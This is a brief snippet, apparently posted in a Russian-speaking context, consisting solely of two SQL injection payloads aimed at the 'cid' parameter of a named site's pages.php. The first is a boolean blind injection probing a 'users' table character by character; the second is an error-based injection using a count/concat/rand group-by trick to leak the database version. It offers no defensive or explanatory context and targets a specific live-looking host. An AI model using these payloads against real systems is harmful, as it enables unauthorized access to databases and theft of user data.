http://www.libyaonline.com/business/pages.php?cid=298+and+ascii(substring((select+1+fr om+users+limit+0,1),1,1))>1--

или

http://www.libyaonline.com/business/pages.php

?cid=(1)and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from users group by x)a)--